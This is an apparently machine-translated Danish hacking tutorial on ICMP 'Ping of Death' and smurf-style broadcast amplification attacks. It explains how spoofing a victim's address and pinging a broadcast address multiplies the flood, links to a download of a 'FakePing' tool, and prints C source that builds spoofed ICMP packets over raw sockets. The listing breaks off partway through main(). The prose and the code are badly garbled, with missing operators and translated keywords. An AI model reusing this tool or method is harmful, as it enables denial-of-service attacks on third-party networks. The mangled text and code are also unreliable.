For nylig, mange folk kalder dig igen for at gå med, hvad Ping døde, hvilket websted, men teknisk, uanset hvad denial of service "-angreb, er vi nødt til at opfylde en betingelse: med de mindst ressourcer til gengæld for at være den største forbrug af angriberen. Vi kan godt lide at gå med Ping er ikke kun mærkeligt: med den største udveksle deres ressourcer for hinanden mindst skade, og anmeldelsen er latterligt: folks krig handler om den handling, for 50 år siden, og på internettet æra, er ikke i stand til, hvor mange mennesker.
I dag er vi for Ping's, Ping er ved at sende ICMP-besked (type 8 kode 0) til at undersøge eksistensen af netværket værter et redskab, en lang tid siden, en del af operativsystemet (f.eks win95), er ikke godt behandlet med store Ping-pakker , hvilket resulterer i en Ping til Døden af angreb (Ping taske med et stort ruin hinanden eller med fyld netværket), med et operativsystem opgraderinger, båndbredde, opgradering, opgradering computer hardware, nu dybest set en meget stor Ping-pakker store angreb virkning (med undtagelse af distribuerede angreb), hvis vi skal bruge Ping-pakker til at angribe andre værter, medmindre den brug, TCP / IP-protokollen eller andre egenskaber ved netværkstopologien fleste forstærket intensiteten af angrebene (såkaldt positiv feedback)
Under normale omstændigheder proces Ping er på denne måde:
Host A sender pakker til værten ICMP 8,0 B
Host B sender tilbage indlæg til værten ICMP 0,0 A
Fordi ICMP var nogen forbindelse på, så giv os en chance, forudsat at værten er nu udgør som vært A sender ICMP 8,0 C pakker, hvis resultater, hvad der ville ske? Er klart, at værten B vært C sende denne rapport er papiret væk
Reaktion på vært C, følgende struktur:
C fejl maskeret som vært svar
Host A --------------------- Host B ------------------ Host C
Denne sag, som vært A kun behøver at holde sende Ping-pakker uden at skulle beskæftige sig med tilbagesendelse af EchoReply, så indsatsen har multipliceret angrebet, mens i virkeligheden er vært B og vært C skal mål for angreb, og vil ikke blive under eget varemærke, er en skjult angreb to fluer med ét smæk tilgang.
Metoder SOCK_RAW over IP kan nemt camouflage, men selv udvidet to gange, for de mere robuste operativsystemet og jo større båndbredde, og heller ikke har meget effekt, vi igen organiseret sport? Ikke lige, Lad fjenden til os for at forstørre Nå, TCP / IP i et koncept kaldet udsendelsen, den såkaldte betød tv, at der er en adresse, kan enhver vært i LAN vil blive sendt til denne adresse for at modtage beskeden (det samme som radioudsendelser) hvis? Do? Ja! Hvis vi går til en broadcast-adresse for at sende ICMP ECHO pakke (det er Ping udsendelsen adresse), vil resultatet blive en masse svar, Ethernet, så hver modtager en broadcast besked vil være vært for svar en ICMP_ECHOREPLY, hvis du ønsker at teste maskinen i unix Ping LAN broadcast-adresse, hvad du vil se en masse dup pakke reaktion er at gentage det svar, vinduer system, ikke den slags resultater, fordi Microsoft Ping program ikke reagerer på flere udpakket, den første modtog pakken efter faldt bag, og også Microsoft's system ikke reagerer på broadcast adresse på default-pakken, så du bedre i en masse unix vært LAN test.
Her smart Du ved hvad jeg vil gøre nu? Hey hey, ja, da vi blev angrebet forklædt som vært for en broadcast-adresse, når du sender Ping anmodninger, alle broadcast-adresse i værtslandet vil reagere på Ping anmodning Dette svarer til intensiteten af angrebene er N gange! (N = broadcast-adresse til at reagere på Ping-pakker inden for antallet af værter)
Maskeret som vært C er forkerte alle radiovært svar
Host A --------------------- broadcast-adresse ======================= == Host C
Jeg skrev en FakePing værktøj kan du Http: / / www.patching.net / shotgun / FakePing.exe download.
Skik er FakePing.exe FakeIP TargetIP [PacketSize], hvis TargetIP er broadcast-adresse, så FakeIP var målrettet.
Kilde annonceret som følger:
typedef struct _iphdr / / definition af IP header
(
unsigned char h_verlen / / 4 位 første minister grader, IP version 4
unsigned char tos / / 8 tjenester vil skrive TOS
unsigned short total_len; / / 16 median total længde (bytes)
unsigned short ident / / 16-bit identifikation
unsigned short frag_and_flags / / 3 flag bits
unsigned char TTL / / 8 median overlevelsestid på TTL
unsigned char proto / / 8-bit-protokol (TCP, UDP eller andet)
unsigned short checksum; / / 16 位 IP header checksum
unsigned int sourceIP; / / 32 digital kilde IP-adresse
unsigned int destIP; / / 32 位 formål IP-adresse
) IP_HEADER;
/ / Definer ICMP header
typedef struct _ihdr
(
BYTE i_type / / 8 bit type
BYTE i_code / / 8-bit kode
USHORT i_cksum / / 16 bit checksum
USHORT i_id / / identifikationsnummer (generelt med den proces, nummer som ID-nummer)
USHORT i_seq / / Besked sekvensnummer
ULONG tidsstempel; / / tidsstempel
) ICMP_HEADER;
/ / Checksum: beregning checksum Funktioner
USHORT checksum (USHORT * buffer, int størrelse)
(
unsigned long cksum = 0;
while (størrelse 1)
(
cksum + =* buffer + +;
størrelse -= sizeof (USHORT);
)
if (størrelse)
(
cksum + = * (UCHAR *) buffer;
)
cksum = (cksum 16) + (cksum & 0xFFFF);
cksum + = (cksum 16);
afkast (USHORT) (~ cksum);
)
/ / FakePing hovedfunktioner
int main (int argc, char ** argv)
(
int datasize, ErrorCode, tæller, flag;
int TimeOut = 2000, SendSEQ = 0, PacketSize = 32;
char SendBuf [65535] = (0);
WSADATA wsaData;
SOCKET SockRaw = (SOCKET) NULL;
struct sockaddr_in DestAddr;
IP_HEADER ip_header;
ICMP_HEADER icmp_header;
char FakeSourceIp [20], DestIp [20];
/ / Accepter kommandolinjeparametre
if (argc 3)
(
printf ("FakePing af Shotgun
");
printf ("Dette program kan gøre Ping-Oversvømmelser fra en FakeIP
");
printf ("Brug en Broadcast IP som FakeIP vil øge effekten
");
printf ("E-mail:
");
printf ("Shotgun@Xici.Net
");
printf ("HomePage:
");
printf ("http://It.Xici.Net
");
printf ("http://www.Patching.Net
");
printf ("USAGE:
FakePing.exe FakeSourceIp DestinationIp [PacketSize]
");
printf ("Eksempel:
");
printf ("FakePing.exe 192.168.15.23 192.168.15.255
");
printf ("FakePing.exe 192.168.15.23 192.168.15.200 6.400
");
exit (0);
)
strcpy (FakeSourceIp, argv [1]);
strcpy (DestIp, argv [2]);
if (argc 3) PacketSize = atoi (argv [3]);
if (PacketSize 60000)
(
printf ("Fejl! Packet størrelse for stor, skal 60K
");
exit (0);
)
printf ("Nu Fake% s Ping% s bruger Packet size =% d bytes
"
FakeSourceIp, DestIp, PacketSize);
printf ("Ctrl + C for at afslutte
");
/ / Initialisér SOCK_RAW
if ((ErrorCode = WSAStartup (MAKEWORD (2,1), & wsaData))! = 0)
(
fprintf (stderr, "WSAStartup mislykkedes:% d
"ErrorCode);
ExitProcess (STATUS_FAILED);
)
if ((SockRaw = WSASocket (AF_INET, SOCK_RAW, IPPROTO_RAW, NULL, 0, WSA_FLAG_OVERLAPPED)) == INVALID_SOCKET)
(
fprintf (stderr, "WSASocket () mislykkedes:% d
"WSAGetLastError ());
ExitProcess (STATUS_FAILED);
)
flag = TRUE;
/ / Set IP_HDRINCL fylde IP header med deres egne
ErrorCode = setsockopt (SockRaw, IPPROTO_IP, IP_HDRINCL, (char *) & flag, sizeof (int));
if (ErrorCode == SOCKET_ERROR)
printf ("Set IP_HDRINCL Fejl!
");
__try
(
/ / Set send timeout
ErrorCode = setsockopt (SockRaw, SOL_SOCKET, SO_SNDTIMEO, (char *) & TimeOut, sizeof (TimeOut));
if (ErrorCode == SOCKET_ERROR)
(
fprintf (stderr, "Kunne ikke sætte sende TimeOut:% d
"WSAGetLastError ());
__leave;
)
memset (& DestAddr, 0, sizeof (DestAddr));
DestAddr.sin_family = AF_INET;
DestAddr.sin_addr.s_addr = inet_addr (DestIp);
/ / Fyld IP header
ip_header.h_verlen = (4 4 | sizeof (ip_header) / sizeof (unsigned long)) / / høj 4 IP version nummer, den første minister i den lave grad af fire
ip_header.total_len = htons (sizeof (IP_HEADER) + sizeof (ICMP_HEADER)) / / 16 median total længde (bytes)
ip_header.ident = 1;
/ / 16 ID
ip_header.frag_and_flags = 0;
/ / 3 flag
ip_header.ttl = 128;
/ / 8-bit TTL overlevelse
ip_header.proto = IPPROTO_ICMP;